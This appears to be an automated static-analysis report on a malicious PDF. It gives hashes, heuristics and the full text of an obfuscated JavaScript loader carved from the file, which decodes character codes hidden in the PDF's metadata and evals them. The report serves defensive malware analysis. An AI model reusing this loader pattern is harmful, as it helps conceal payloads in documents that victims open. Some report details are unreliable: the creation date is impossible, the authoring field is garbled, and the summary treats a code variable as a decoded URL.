Malicious PDF — malware analysis report

Static analysis result for SHA-256 74dcae1c22421692…

MALICIOUS

PDF

15.9 KB Created: 2011-72-51 03:25:00 Authoring application: ring.fromCharCo First seen: 2026-05-08
MD5: 6f334499f266e31a27bab50615ea0373 SHA-1: 4fca5d0b0997381bb2cf79c14bb35887bf8eaf8e SHA-256: 74dcae1c2242169237cdbb01359e63bfaa5e6f5c5002a29b07a6a9fa204d80c5
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified as a Pidief-style loader. The script decodes a URL, 'http://hokzk.title.producer', from character codes and uses it to fetch and execute a second-stage payload. The ML classifier strongly indicates maliciousness.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x3CF4 446 bytes
SHA-256: 800816d8250203326c43f6404ab79bd1df9ad5f31e3dda3cf5f45bdffd2177a0
Preview script
First 1,000 lines of the extracted script
var l = 'asd'.substr;
var g = l();
a=["a","e","k","l","b","z","v"];
e=g[a[1]+a[6]+a[0]+a[3]];
var sbp="";
aqaeg='his';
ssp='ti';
e('hokzk=t'+aqaeg+"."+ssp+function(){return 'tle'}());
vklt='["prod';
e('lqjl=t'+aqaeg+vklt+function(){return 'ucer'}()+'"]');
jrbmk=e('St'+lqjl+'de');
ews = e(hokzk.replace(/k/g, ","));
e('k=ews.length');
for (i = 0; i < k; i++) {
	kny = (i%2)?ews[i]/5:ews[i]/17;
	sbp += jrbmk(kny);
}
e(sbp);

Open this report in the interactive analyzer, or submit your own file for analysis.